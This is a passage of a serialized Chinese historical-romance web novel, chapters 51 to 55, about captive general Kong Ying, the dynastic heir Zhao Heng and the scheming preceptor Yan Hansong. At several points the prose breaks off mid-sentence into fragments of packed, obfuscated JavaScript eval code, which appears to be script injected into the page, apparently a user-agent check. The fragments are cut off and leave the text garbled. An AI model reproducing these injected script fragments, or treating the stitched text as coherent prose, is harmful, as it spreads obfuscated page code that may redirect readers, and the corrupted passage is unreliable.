d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幽帝昏庸他认了,本以为文帝之子赵衡能继承文帝衣钵,没成想他文智超群,却也是个轻易被女色迷惑的人。 赵衡一向敬重杨逸春,如今被劈头盖脸骂一顿,心中悲痛更甚,放眼望去篝火烈烈,他却觉得眼前有些模糊。 “我……亏欠于她。” 杨逸春一听更怒:“那女人是孔青雄之女,当年伐赵之战孔青雄出了多少力?如今你居然说亏欠于她,那我赵朝多少无辜百姓岂不枉死!” 赵衡今夜已心力交瘁,实在无心应付杨逸春,草草敷衍过去。 杨逸春见他执迷不悟,愤而离去。 赵衡进帐,首先看见孔英还躺在踏上昏迷不醒,又想起她在昏迷前说的话。 “害我丧子……坠崖九死一生……” 赵衡察觉面上一湿,伸手去擦才发觉自己早已泪流满面。 51. 孔英要隐忍等密探 朝堂上的空气凝滞,朝臣心知肚明今日议事重点虽仍是前线战事,但中心人物却只有一个。 皇帝的声音从上砸下来:“护国公,教女有方啊。” 孔青雄站在阶下最前,宽厚的肩背僵直,鬓角渗出汗水,沿着脸庞滑落。 “一个闺阁女子,女扮男装,混迹军营,还当上了堂堂正三品卫指挥使。”这话的尾音拖长,孔青雄心中打鼓。 “朕竟不知,我朝军职还能升得如此之快。还是说,护国公府的门路格外通顺?” 话里话外明嘲暗讽说孔青雄给孔英走了后门,孔青雄抬头直面君威,开口想要解释:“陛下,臣……” “够了!”南渐鸿猛拍扶手,声音陡然拔高,带着压抑不住的怒火,“如今更好了,堂堂指挥使,成了赵衡那逆贼的阶下囚!” “你孔家的脸面、朝廷的脸面都被她丢尽了!朕的脸面,也被你孔家丢尽了!” 话中的帽子扣得太大,孔青雄脸上一阵红一阵白,心里像有把钝刀子来回搅动。他想说孔英是为突围才身陷险境,想说她的军功是实打实在尸山血海里拼出来的。 但这些话在皇帝的猜忌前显得苍白无力。 他喉头滚动,最终只是重重地将头再次低下。 散朝时,同僚们远远避开他。孔青雄已无暇顾及这些,只觉得所有事在脑袋里嗡嗡作响。 孔英遭俘,怀州危难,前线战事吃紧…… 孔青雄没有回府,脚步踉跄拐进一条僻静巷子,推开一座院落的门。院内草木葱茏,石桌石凳,旁人完全看不出这是一国之师的府邸。 燕寒松端坐石桌边,对孔青雄的造访毫不意外,什么也没问,只默默从屋里搬出了一坛老酒。 没有寒暄,没有劝慰。孔青雄抓起酒碗,一碗接一碗地往喉咙里灌。辛辣的酒液烧灼着食道,孔青雄只觉内心涩然。 多年老友让他终于能畅所欲言。 “我答应过雪薇要好好保护家人,可,可英英如今被逆军生擒,孔穆身处怀州危在旦夕,孔肃又远在西北。到头来我们家人天涯各一方。” 又一碗老酒入喉。 “孔英指挥使的位置是她拿命换来的,若我真有意徇私,又何苦让她女扮男装?” 燕寒松叹气:“这话我信了没用,还得看陛下怎么想。” 酒越喝越多,话越来越含糊。在战场上面对千军万马也未曾退缩的护国公如今伏在石桌上,花白的须发被泪水浸湿。 “陛下……南渐鸿,他竟能如此!他如何坐上那龙椅,往日种种,他全忘了吗!” 燕寒松偶尔为他添满酒碗,眼神在对面崩溃的身影和院外渐沉的暮色间游移,眼底掠过一丝极其细微的波澜。没有再劝,只是安静地陪坐着,陪二十多年的老友宣泄。 孔青雄不知道自己是什么时候醉倒的,也不知道自己是怎么被扶到厢房那张床铺上。 他是被一阵嘈杂的金属碰撞声惊醒的。 头痛欲裂,仿佛有无数根针扎在他脑子里。孔青雄费力睁开酸涩肿胀的眼睛,模糊的视线好一会儿才聚焦。 昏黄的烛火跃动,厢房的门,大开着。 院子里影影绰绰站满了人,身穿冰冷铁甲,腰间挎着刀,手按在刀柄上。 御林军! 孔青雄猛然起身,下意识看向床榻边站立的身影。 燕寒松面朝着院中铁甲森森的御林军,背对着孔青雄,孔青雄看不清楚对方脸上的表情。 “燕……” 孔青雄喉咙干涩,刚吐出一个字,就见燕寒松却几不可察地摇了摇头,也不知是对着他还是对着自己。随即,燕寒松微微侧身,让开床前空间。 御林军首领手按腰刀走出来,面容冷硬,对着床榻上震惊未消的孔青雄,语气沉沉: “护国公,陛下有旨,请随末将走一趟。” 孔英醒来时天光大亮,身上依旧疲软无力,心脏却怦怦直跳,几乎到了绞痛的地步。 她愣神,心中有种不好的预感。不等她细想,赵衡端着饭菜从营帐外走进来,见孔英已醒,面上一喜,却没多说话只放下饭菜。 正要默默退出去,突然被孔英喊住。 “近来,可有发生什么大事?” 这是这些日子来孔英第一次心平气和地跟他说话,赵衡心想是个好兆头,立马回道:“大事……似乎没听说,英英你是想问怀州近况如何?” “怀州军中又出现了一员猛将,城中人奋力抵抗,我军久攻不下。” 赵衡看着孔英苍白的面色,专挑她可能喜欢听的话讲,对于赵军接连的几场胜仗绝口不提。 至少在这营帐内,他想暂时放一放王朝复兴的重任。 若是孔英知道了,肯定会嘲笑他虚伪无能。赵衡自嘲想着。 不过孔英什么都没说,神色恹恹,沉默半晌只动手拿起碗筷。 自从她昏厥过后,赵衡就解开了她手脚上的绳索,似乎对她放松了些许看管,不再限制孔英帐内的行动,但若她想走出帐外,持长枪的士兵便会将其阻拦下来。 孔英似乎变了,不再冲动易怒,偶尔也能和赵衡说上几句话,打听前线的消息。赵衡都一一说了,实在有避不开的坏消息,孔英听后也没什么剧烈反应,只是不再言语,过个一会儿又恢复如常。 赵衡既开心孔英似乎有原谅自己的意思,又担心她的状态不对劲,请来医师为她诊脉。 这位医师在他身边待了许久,医术高超值得信赖。他告诉赵衡孔英身体无碍,只是思虑过重,开出几副安神的药方。 赵衡问:“您诊脉,能否看出她……她是否曾有过身孕?” 医师收拾药盒的手一顿,细长的双眸看向面色惶惶的赵衡,沉思片刻道:“此女脉象,不像是有过身孕。” 赵衡愣住,连医师离去也不曾相送。 没有身孕?可英英那天分明说…… 看向那紧闭的帐帘。孔英就在里面,只要掀开帘子走进去,就能问她,问她为什么,问她到底发生了什么。 他不愿怀疑孔英,可那位医师是他师傅送来的人,不会欺骗他。赵衡更不能直接去问孔英。他们间的关系好不容易缓和一些,这话问出口,万一又回到水火不相容的时候怎么办? 他怕看到孔英仇恨的双眼。 痛苦和混乱汹涌而来,赵衡只觉得胸口窒闷得喘不过气。 他们二人是如何走到这一步的呢? 赵衡没有勇气去触碰那道帐帘,吩咐人去煎药后回了议事厅。心中颓然,却不得不打起精神处理军事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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送饭的兵卒放下饭菜后没有如往常般径直离开,反而探头探脑左顾右盼,孔英心中生疑,正要询问,却听见一声压抑着音量的激动喊声: “耿指挥使!” 听见这个熟悉的称呼,孔英恍惚了一瞬,似乎自己还在怀州城中,绞尽脑汁想办法如何才能冲出重围。反应过来后她大喜,明白自己终于等来了希望。 孔英心知密探不能多在帐中停留,着急忙慌说自己收集了情报,要密探传给怀州,正想扯下衣袖,却听探子哀痛地说了句什么。她一下子没听清,问了句“什么”。 “……怀州,破了。” 孔英的脑袋似乎被洪钟撞了一下,晕晕乎乎。她似乎应该是能猜出这一结局的,毕竟赵衡这些日子突然开始躲她,孔英直觉便有什么不好的事情发生了。 但亲耳听到自己曾誓死守卫的怀州被攻破时,孔英还是感受到了一阵眩晕。 探子又说了句话,孔英盯着对方嘴唇上下开合,努力想要拨开迷雾听清楚他在说些什么。对方的动作在孔英眼里放慢了好几倍,以至于孔英花了好久才弄清楚探子到底说了句什么话。 他说的是…… 孔英眨眨眼,怀疑自己听错了。 52. 孔英要刺杀晓真相 赵衡回来时见营帐内一片狼藉,暗道不妙,赶忙去找孔英,却见她安安稳稳熟睡在床上,松下一口气,没有多想向她走去。 刚到孔英身边,想探下身看看眼前人的睡颜,却见对方突然暴起,手中握着什么东西直往赵衡脖子上刺去。 赵衡一惊,侧身堪堪躲过去,却见孔英已经瘫软下身子,手中再无力握紧,一根被磨尖的木筷滚落在地,咕噜噜滚到他脚边。 孔英想杀他,一直都想。 前几日的安分不过是迷惑他的假象,等他放松心神就落入了孔英的陷阱。 赵衡心知就算那根木筷真抵上了自己的脖子,凭孔英现在的力气也只能扎不进去,可依旧心脏钝痛,分不清是劫后余生的头脑片刻空白,还是所爱之人一心至自己于死地的悲哀。 “你……” 他才开口,努力咽下哽咽,和孔英的双眼对视上,惊觉不对劲。联想到什么,赵衡试探道: “英英,你是不是听说了什么?” 孔英喘息几口气,想怒骂,发出来的声音却听不出半点气势: “别这么叫我,你整日伪装不累吗?在我面前装得战事艰难,实际上一路推进。哦,我忘了,有国师在朝廷帮你周旋,你哪里还有什么做不到的呢?” 听她提起国师,赵衡心底一沉。孔英继续说着: “你算计我,你师傅算计我爹,你们师徒二人联手,还想算计整个南朝。” 她一个字一个字地往外挤,咬牙切齿:“让我猜猜你们是从什么时候开始谋划的,是我离家出走救下你,又或者更早些,在燕寒松给我算命的时候就已经开始算计这一刻了?” 孔英笃定自己父亲不会谋逆,那么揭发护国公谋逆的国师就极其可疑了。加之赵衡本就是国师弟子,二人有联系也不奇怪。 仔细想想,真是自己人生的每一步都有燕寒松掺和。 孔英刚出身时燕寒松算命,算出她命中有劫,怎么这么巧合,找到的人就是赵衡,估计就是借护国公府的名头给彼时的赵衡一个庇佑之地。 只不过中途出了意外,赵衡为救她差点把自己搭进去。燕寒松又冒出来说她命中劫数已解,将两人分开,自己则把赵衡收为弟子,彻底洗白他的身份。 从此,赵文帝之子、前朝废太子赵衡隐姓埋名居于深山。 待孔英到了出嫁的年纪,燕寒松又向孔青雄出谋划策,把阴魂不散的赵衡送到她身边。也怪她自己轻信,居然真的和赵衡成亲,最终惹来杀身之祸。 环环相扣,步步紧逼,将他们逼上绝路。 “真是好算计!” 赵衡彻底说不出话了,因为他清楚孔英说的都是对的。 民间关于赵衡的流言不少,其中大部分都是对的,诸如什么父亲早逝,自己从小被幽王软禁,卧薪尝胆十余年。 但有一条说错了,他母后不是被赵幽王杀害,而是为了保护年幼的赵衡,自绝于幽王前,请幽王留下赵衡一条命。 赵衡平生两大宿愿,一是手刃幽王,二是复兴他父皇的赵氏王朝。 可惜赵幽王早在南渐鸿起义成功后就被斩杀,于是他往后余生都将为了第二个宿愿而活。 成就大业的路上总有人被牺牲,这是燕寒松教他的。 赵衡杀的第一个人是陪伴自己多年的老奴。 幽王没有动手杀赵衡,但也仅此而已。其实赵衡一直怀疑幽王不是不想杀他,而是没来得及动手就被起义军推翻了。被软禁在深宫的岁月里,若没有这些衷心的奴仆,赵衡活不下来。 如此忠心耿耿的人,在赵朝覆灭之后,居然要把赵衡交给南渐鸿换赏金。从燕寒松口中得知此消息时,赵衡第一个反应就是不信。但也不由得他不信。 燕寒松握着他的手,把刀近乎凌迟般慢慢送进那个老奴心口。 速度够慢,才足够让赵衡看清楚一个人是如何从不断挣扎到奄奄一息。 这一课很残酷,作为学生的赵衡显然学得不够好。他父亲赵文帝重情重义而得天下,赵衡却因此瞻前顾后。 攻破怀州,庆功宴上众人皆是一派喜气。赵衡强撑着应酬,内心想着若是孔英知道了一切,一定会很生气,说不定会像上次那样踹他的下巴,把他踹得人仰马翻。 不过孔英比他想象得更狠。 那句话怎么说来着,当你弱小的时候,连生气别人都觉得可爱。 看着孔英无力瘫倒仍怨恨愤懑的样子,赵衡不觉得可爱,只觉得可悲。他又一次问自己,他俩是从什么时候开始走向岔路,以至今日这一幕? 赵衡张了张嘴:“护国公一事,非我所愿,我也并不知情。” 事发之后他有心想控制消息传播,但孔英还是知道了。既然已无可挽回,那便让误会少一点,少一点点也好。 “我承认最初在江南被送进护国公府邸时就别有用心。师傅希望保护我,也希望我能借你牵制护国公,以便将来起兵后他会有所顾忌。” 燕寒松眼中最具威胁的无非就是孔青雄,经过四年并肩作战,他知道孔青雄的本事,所以在制定计划时最先算计了他。 孔青雄或许自己都没意识到家人是他最大的弱点,彼时他尚年少,意气风发的少年将军志在沙场,忽视了对家人的关怀。等他大捷归来,妻子叶雪薇已经被燕寒松下药而胎中带毒。 不仅自己香消玉殒,生下来的孔英也体弱多病。孔青雄悔恨交加,将小女儿孔英珍视到了天上。于是燕寒松的下一步是让赵衡成为孔英的救命恩人。 若是计划顺利,赵衡该一直陪在孔英身边,只不过出了意外,暂且撇开不提。 除此之外,燕寒松还须得斩断南渐鸿和孔青雄之间的连结。 孔青雄忠心不假,但若他头上的这位君主猜忌忠臣,架空权臣,还要对有功之臣过河拆桥呢? 燕寒松充当了这个让君臣离心的两面人,在他的不断渲染下,南渐鸿在孔青雄心中显然成了个“吃水后杀挖井人”的竖子。 护国公孔青雄这边算是差不多了。 接下来轮到高王南经武。 其实燕寒松原本看不上南经武,毕竟此人文不如他,武不如孔青雄,但他和南渐鸿是有血缘的堂兄弟。若二人联手,也是个不小的威胁。 为增加赢面,燕寒松要让南渐鸿孤立无援。 原本他还愁如何下手,因为南经武不像孔青雄是个闷葫芦,自知受了猜疑只会往肚子里憋。要是南经武跟南渐鸿一通气,那燕寒松就会暴露在君王面前。 瞌睡送来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵衡初入江南府邸时八岁,离开时十四岁。这个年纪已经知事却还太年轻,陪伴孔英的六年占据了他太多生命,也是赵衡唯一值得回味的记忆。 赵衡对孔青雄没什么好感,虽然对方算是间接给自己报了杀父弑母之仇,但孔青雄对彼时身份低微的楼微不假辞色,只把楼微当个给女儿续命的工具使,赵衡自然也没什么好脸色。 但赵衡很心疼孔英,这个仅因为生在孔家就被当作计划一环牵连进来的人。 后来离开孔府隐入深山,跟着燕寒松派去的人学各种帝王之术,午夜梦回最多见的就是孔英。 赵衡时常会猜测孔英如今长成了什么样子,有没有他高,这个估计是没有,那有没有长到他腰际,有没有长到他胸口,小时候就长得可爱,长大后应该会更可爱。 十年后再见,青梅成了肌肉女。 重逢时,赵衡在看到孔英的第一眼,就感觉到自己体内有什么地方在沦陷。 “我信你是真心。” 回忆被孔英打断,赵衡被拉扯回现实中。 “真心不假,野心也是真。当初我在书房撞破你与逆贼书信来往后遭人追杀,难道不是你的手笔?” 说起这件事,孔英难免伤怀。她闭了闭眼,不允许自己在赵衡面前落泪。 “你可知当初我去你书房,是想告诉你我已有身孕?” 赵衡身子一晃,踉跄着向后退去,撞在身后的矮凳上。 想解释,但所有的言语都卡在喉咙里被悲痛扼住,徒劳重复苍白无力的否认。 孔英已经厌倦和赵衡做无用的周旋。先前日子里为套情报她忍就忍了,如今怀州城破,父亲也不在了,她都想长眠不起,也就不用再面对这些腌臜事。 53. 孔英要苦恨见仇敌 赵军凯旋,一路高歌猛进。 国师燕寒松大义灭友,终于获得了君主的信任。 赐虎符,领圣旨,赴前线。 天气渐冷,风声凄厉,小雪飘飘扬扬,惹的百姓攥紧衣领缩了缩脖子,直叹今年冬天来得忒早。 城墙上,燕寒松一身玄色鹤氅,立在猎猎作响的战旗下,身形孤峭,右手托着一方沉甸甸的虎符,左手握着圣旨。目光缓缓扫过城墙下肃立的军阵,而远处,赵衡率领的赵军黑压压一片。 两军对峙,燕寒松举起手中的虎符,声音清晰送入每个士兵耳中:“将士们,此乃天子所赐虎符!持此符者可号令三军,如天子亲临! “陛下命我持此符前来督战,剿灭逆贼!” 风声呜咽,赵衡面无表情骑在马上,静候好戏开场。 燕寒松将手中那卷明黄的圣旨高高举起,没有展开。下一刻,在所有人惊骇的目光中,他双手抓住象征着至高皇权的圣旨两端,猛然发力。 “刺啦——” 一声刺耳的撕裂声划破死寂,明黄圣旨被撕成两半。燕寒松将手中的两半圣旨狠狠掷于脚下,两半圣旨滚落在地,沾染泥土。 众将领震惊到呆滞,却听见燕寒松厉声喝问: “剿灭逆贼,何人为逆贼?” 他伸手指向远处肃立的军阵:“是这些为了信仰、为了心中那点尚未泯灭的念想而拿起刀枪的士卒吗?” 指向后方:“还是那高坐龙椅上残害忠良、杀害功臣,任由奸佞横行,使万里江山民不聊生、烽烟四起的昏君?” 士兵们骚动起来,惊疑不定地看着城墙上那个身影。 燕寒松胸膛剧烈起伏,似乎愤怒难消:“护国公孔青雄一生忠君,为南朝开国立下汗马功劳,结果却被扣上谋反的罪名!”语气里带着无尽痛惜与悲愤。 这话说得冠冕堂皇,无非是欺负此城远离京城消息闭塞,不知道护国公被赐死的内幕。 “这样的朝廷,这样的君主,值得你们效忠吗,值得你们为之抛头颅洒热血吗?” 燕寒松声音斩钉截铁:“天命不在那腐朽的太和殿内,而在赵文帝之子赵衡身上,他才是真正能结束这乱世,还天下一个清平的人!” 一番漂亮话标志着国师彻底反水。他下令开城门迎天主,躬身将虎符献给骑着高头大马进城的赵衡。赵衡则翻身下马,双手扶起燕寒松,情至深处潸然泪下。 这个场景在坊间广为传颂,将逆贼与奸臣包装成一场幡然醒悟、弃暗投明的戏码。 外头的雪又洋洋洒洒下起来,将天地盖上一层薄薄的白。 屋内炭盆烧正旺,孔英靠坐在铺着毡毯的矮榻上闭目养神。屋门被推开,带进一阵飘着细雪的冷风,燕寒松走进来,身后跟着个低眉顺眼的小厮。 小厮将药碗放在桌上,碗底与木几磕碰,发出轻微的一声响声,道:“孔姑娘,该用药了。” 入冬后孔英精神头更加不好,每日都得喝安神的药,只是没想到今日是燕寒松亲自送来。 孔英觉得燕寒松此等欺世盗名之辈虚伪至极。尤其是他在阵前说的那番话还借孔青雄作借口,更让孔英恨他搅的父亲死后都不得安宁。 燕寒松同样不喜孔英,当他得知赵衡上路仍不忘带着孔英时,更觉此女是个祸害。自古红颜多祸水,偏生赵衡将她护得紧,生怕燕寒松对她不利。 自诩贤良能臣的燕寒松,自然要帮君主扫清前进路上的障碍。 仇人相见,分外眼红。 孔英知道燕寒松此行前来必然不安好心,放在膝上的手紧紧握起,盯着对方一举一动。 燕寒松见孔英不动也不喝药,对小厮稍稍示意。小厮重新端起药碗,双手恭敬奉到孔英面前,重复说:“孔姑娘,该用药了。” 孔英要是还看不出燕寒松别有用心就是傻了,更加坚定自己不能喝这碗药。心想这老贼连演都不演了,难道还真这么明目张胆送来一碗毒药? 僵持的气氛被门外急促的脚步声打破。 房门被一把推开,赵衡带着一身寒气闯了进来,显然是刚得到消息急匆匆赶来,目光在帐内一扫,落在孔英身上。 他眉心几不可察地蹙了一下,快步走到榻前,挡在孔英和燕寒松之间,抢过小厮手上的药碗,药液晃出几点洒在地上。 “师傅。”赵衡向燕寒松问好。 燕寒松目中无人的视线终于有了落点,说了进屋后第一句话:“殿下,听闻近来孔姑娘精神欠佳,此药乃我亲自调配,利于恢复。还请殿下劝她服下。” 赵衡看着手中那碗深褐色的药汁,一时间进退两难。 要说燕寒松真送来一碗毒药,他也是不信的,只是又不敢赌这事不可能发生。赵衡端着碗的手指节有些发白,强装镇定道:“有劳师傅费心,药我看着她喝,您……请回吧。” 燕寒松什么都没再说,失望地看了赵衡一眼,转身拂袖而去。小厮连忙跟上。 屋内燃着炭火,赵衡却觉得丝丝冷意从心底冒出来。 他低头看着碗里药汁,最终还是倒了个干净。 要是坊间说书人知道赵衡和燕寒松私下相处是这种模样,也不知那明君贤臣的戏码还能不能说得下去。 “稍后我会命人再送来一碗安神汤。” 孔英忍不住呛声:“他要是想下毒,你防得住?” 赵衡当然防不住,只好在药熬好后自己先喝一口,确认无事再给孔英送去。 赵衡如此表明态度,燕寒松怎么会不知道他的意思。 某日议军事后,燕寒松迟迟未离去。赵衡心知此事不能善终,心中微叹,请燕寒松重新落于主座,自己则在一侧站立,暂且放下首领的身份,仿佛还是未出师的学子。 “孔青雄之女,红颜祸水蛇蝎心肠。留之,后患无穷。”燕寒松轻飘飘给孔英的身份定了性。 赵衡解释:“她如今什么都做不了,不会影响我们的大业。” 燕寒松被这番天真的言论气笑:“那殿下为何会在怀州停滞许久?留她在军中,我军军心如何,士气如何,众将领会如何看待殿下? “更遑论她对殿下、对臣,恨之入骨。此等隐患,殿下要留到几时?” 赵衡知 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燕寒松答应赵衡不再对孔英出手,唯一一个要求就是赵衡要收下他送来的美人。 一个身姿窈窕,穿一身素雅的浅碧色衣裙,脚步轻得像一路飘过来,颔首低眉盈盈下拜。另一个则穿着更利落的黛蓝色劲装,身形挺拔,即使低着头,也能看出她脸庞锐利英气十足。 燕寒松神色如常,好像已经将前日的争执抛到九霄云外,话中带着长辈的关怀: “殿下夙夜忧劳,身边也需有人照料。苏婉、秦筝留在殿下身边,或可稍解烦闷,照料起居。” 赵衡视线在两名女子身上来回扫过,看见秦筝那胜似孔英的侧脸,心头烦躁感更甚。但事情已经答应下来,便挥挥手让仆人带二人下去。 “师傅费心了。” 燕寒松似乎没看见赵衡难看的表情,目光坦然:“臣告退。”没等赵衡回应,转身步履从容离开。 既然赵衡执迷不悟,那燕寒松就及时止损。 他效忠的本就是赵文帝。赵衡的血脉、赵氏正统的延续,才是他燕寒松穷尽一生也要护住的火种。 先前从医师口中得知孔英胞宫受损终身难孕时,燕寒松就有了转变策略的想法。既然赵衡要当这个情种,那就任由他去。孔英一个无法怀孕的废人,留着就留着。 风寒入骨,身体的衰老时时刻刻提醒着燕寒松,他等不起赵衡那愚蠢的儿女情长慢慢消磨。 与其看着赵衡为一个女人功亏一篑,不如趁自己尚有余力,培养出个真正能将赵朝推向太平盛世的继承人。 他不是没给过赵衡机会。他为这个孩子也算得上呕心沥血,但凡赵衡展露出一丝动摇,燕寒松都不会放弃赵衡,而是会直接下手除掉孔英。就算一时被赵衡怨恨,他也在所不惜。 可偏偏赵衡一副没了孔英活不了的模样,让燕寒松大失所望,甚至开始怀疑自己当初的谋划是不是真出了问题。 事已至此,当断则断。 燕寒松面容冷峻,走进风雪里。 54. 孔英要清闲见二哥 这几日赵衡似乎很忙,几乎没什么功夫来找她。孔英乐得清闲,趁雪后放晴,裹上厚厚的棉袄跑到院子里。她没想干什么,只是不愿再待在屋内发霉。 不论世事何种光景,日子总是一天天过去。 前些日子,赵衡终于允许她见一面被充当人质的孔穆。兄妹二人时隔许久再次相见,似有千言万语在心头,没法一下子说尽。 孔穆心疼孔英消瘦许多,知道她思虑过重,劝其放宽心:“赵衡只是将我下狱,却不曾苛待,我一切都好,你不用担心。” 孔英扫视一周,地上堆着干草,简单的土炕上铺着还算干净的草席,一张破旧的木桌,一把凳子,环境确实不差。孔穆下巴上冒出了青色的胡茬,但眼神清亮。 见他身上确实没有伤痕,孔英松了一口气,从怀里掏出个冒着热气的红薯递给二哥:“我亲自烤的,你快趁热尝尝。” 滚烫的温度透过掌心传来,烫得他眼眶发热。孔穆问:“赵衡待你可还好?”孔英点头。 “今时不同往日,若南朝真……你也要提前做好打算。”孔穆慢慢剥着红薯皮,“只要活着,总能找到机会。” 二人相视一眼。 孔穆嘴角刻意扯出安慰的笑:“好了,回去吧。别担心我,照顾好自己。” 孔英点了点头,喉咙发紧,一个字也说不出来。待她走到门口时忍不住回头看了一眼,孔穆还站在原地目送,朝她微微颔首。昏黄的光线下,那道身影显得有些单薄。 她回去后总想起二哥的话,便问了下人赵衡在何处。 在书房前犹豫许久,孔英敲三下门进去。空气里有一股陌生甜腻的熏香,让人有些透不过气。她脚步顿住,见赵衡坐在案后眉头微锁,手里捏着一份军报,一左一右挨着两个身影。 苏婉一身水绿色的薄纱裙,衬得肌肤胜雪,微倾着身子几乎要贴到赵衡的手臂上为他斟茶,声音软软:“殿下,请用茶。” 秦筝没像苏晚那样贴得近,但也只隔了半个身位,一身利落装束,不言不语为赵衡研磨。 温香软玉,红袖添香。 赵衡的身体明显有些僵硬。他微微侧头,似乎想避开苏婉递到唇边的茶杯,余光瞥见门口的孔英,一下子站起打翻了茶杯。 “英英,你来了呀,外面冷不冷?”边说着边走过来,颇为心慌地拉起孔英的手,担心对方误会,忙解释这两人是燕寒松送来的婢女。 近来燕寒松鲜少再找孔英麻烦,上回偶然碰见孔英,还不咸不淡道了声好。孔英当时还觉得对方脑子定是出了什么问题,原来是在这等着她。 孔英目光平静地扫过苏婉和秦筝,两人态度坦然,见到她丝毫不怯,自然行礼。确实是两个美人,一柔一硬,各有风姿。 “我来谢谢你。”说完这句话后,孔英将手从赵衡手里抽出来,干脆利落离去。 赵衡还保持着刚才的姿势定在原处,看那木门阻隔了他望向孔英的视线。苏婉凑上来想说些什么,被他用眼神一扫,吓得不敢言语。 院落里几枝红梅傲然独立,孔英伸出手看看,这些日子娇生惯养许久不碰刀剑,手上的茧子都薄了。屏息凝神运气,又不得不颓然放弃。她觉得自己像个武功尽废的废物。 自从习武之后,孔英哪里过过这么受制于人的日子。 天色晴朗,冷冽的空气吸进肺里,带着一股冰雪特有的气息。 脚步声踩在积雪上,发出咯吱咯吱的轻响,由远及近,在孔英身后几步远的地方停下。 赵衡身上裹着大氅,领口镶着一圈黑狐毛,衬得他脸色有些苍白,见孔英耳廓被冻得微微发红,解下自己身上的大氅,动作有些迟疑,但还是上前将那件带着他体温的厚重衣物,轻轻披在了孔英肩头。 “外头冷。” 孔英转头。赵衡离得很近,她几乎能数清楚对方眼睛上的睫毛。没有拒绝那件大氅也没有道谢,她伸出手,拢了拢大氅的领口。 风从梅枝上卷起细碎的雪沫,落在孔英鬓角。 气氛难得平和,赵衡很享受这种时刻,似乎一切隔阂与仇恨都尚未发生,他和孔英刚刚成亲,隐于深山恍若神仙眷侣。 在这片寂静的祥和之中,孔英目光依旧停留在枝头的红梅上,嘴唇却轻轻动了动,声音很轻,像在谈论无关紧要的天气。 “以后别再给我下软筋散了。” 语气淡淡,恍若惊雷。 赵衡脸上的神情瞬间凝固,方才的融洽如同被寒风吹散的雾气无影无踪,他快要忍不住后退。 幻觉轰然倒塌,真相冰冷刺骨。 赵衡心底苦涩,从喉咙里挤出一个字:“……好。” - 或许真如燕寒松所说,天命落在了赵衡身上。 赵军本就势如破竹,有了燕寒松及其带来的军队助阵,更是如虎添翼,一路北上,剑指京城。朝廷军隐隐有不敌之势,局面越发危急。 孔英暗自心惊,知道按照这个速度,南朝怕是危在旦夕。同时怎么也想不通,南朝建国将近二十年,竟根基不稳至此,连些会打仗的人才也没有么。 赵衡一路带着她,难免途径故地。 高王坐守南至郡,南经武高调反叛,早早打开城门恭迎赵衡。孔英有心想质问他为何要做出这种事。先前在南至郡种种,难道都是装模做样,故意迷惑她,好掩藏自己的谋逆之心吗。 高王却闭门不见,将孔英挡在门外。孔英又气又恨,可直到离开南至郡,都没能见到高王的人影。 大益郡战况尤其惨烈。 赵军在南至郡得了补给,士兵斗志昂扬。据说一战毕,连城墙都塌陷出一个巨大的豁口。 郡守公子甘复,这个平日只知道斗鸡走马、穿金戴银的纨绔,却宁死不屈,提着他镶金嵌玉的佩剑冲出去,倒在乱刀之下。 刀光剑影,厮杀声震耳欲聋。 温明没想到此战如此艰难,敌人太多,杀退一波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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兵部尚书云业,掌管南朝上下军政事务的朝廷重臣,在一个寒冷的清晨被下人发现倒在自己府邸的书房里。他死时面容愕然,一把匕首深入胸口,血迹已凝固发黑。 云业暴毙的消息在京城传开,朝臣人人自危,流言四起。有人说他是被赵军的刺客暗杀,有人说是因为他早年不积德,如今遭了报应。 整个京城都弥漫着一种大厦将倾的恐慌。 而在这片末日般的惶惶不安中,最应该慌乱的人却出奇地平静。 御书房里,南渐鸿没有像往常那样坐在堆满奏折的御案后,而是一身常服坐在窗边,看着窗外宫墙上残留的积雪。 他面前摆着一张古琴,屏退身旁下人,慢条斯理地焚着香。袅袅的青烟升起,奇异的略带苦涩的香气在空气中蔓延。 一个内侍连滚带爬地进来,声音颤抖地禀告说有位守将率家眷潜逃。南渐鸿捻着香匙的手微微一顿,拨弄了一下香炉里的灰。 “知道了,下去吧。” 内侍惊愕于帝王的冷静,却不敢再多言,惶恐地退了出去。 “铮——” 一声清越的琴音响起,南渐鸿用指尖轻按着那根还在微微震颤的琴弦。窗外的天光落在他平静无波的侧脸上,仿佛外面的山呼海啸都与他无关。 他只是静坐于此,焚香弹琴,等待着某个时刻到来。 55. 大结局(上) 决战前夜,赵军兵临城下。 浓重的夜色下暗流涌动,赵衡背对房门,负手而立,被烛光拉出长长的影子。 讨伐南朝的整个过程比他想象得要顺利许多,也算是不辜负他的多年筹谋。如今他距离达成自己的宿愿仅有一步之遥,精神紧绷之下仿佛浑身血液难凉。 燕寒松与众将领已经制定周密详尽的计划,他身为国师在京多年,对京城最是熟悉,雄心壮志,必要一举拿下。 在这之前,赵衡还有件事要做。 “师傅。” 赵衡向前踏出一步,靴底踩在粗糙的地毡上,发出沉闷的声响。燕寒松抬头望过来,见赵衡面色凝重,还以为对方是在为明日决战担忧,宽慰道: “南朝式微,无需过多忧虑。” 赵衡想问的却不是这个,他唇瓣蠕动,问: “当年李公公他……真的背叛我了吗?” 李公公就是当年那个被赵衡亲手杀死的老奴。时隔多年赵衡依旧想不通,想不明白李公公背叛他的原因,分明这人对父皇也忠心耿耿,对自己也体贴照顾。 即使南渐鸿得势,自己一个前朝废太子又有什么价值,让李公公起了将自己交出去的歹心。 突然提起此人,燕寒松还有些愣神,一时间想不起赵衡说的是谁。反应过来后他面上淡然的表情寸寸龟裂,露出底下的震惊与怒意。 他枯瘦的手指向赵衡,指尖气得颤抖,每一个字都像是从牙缝里挤出来: 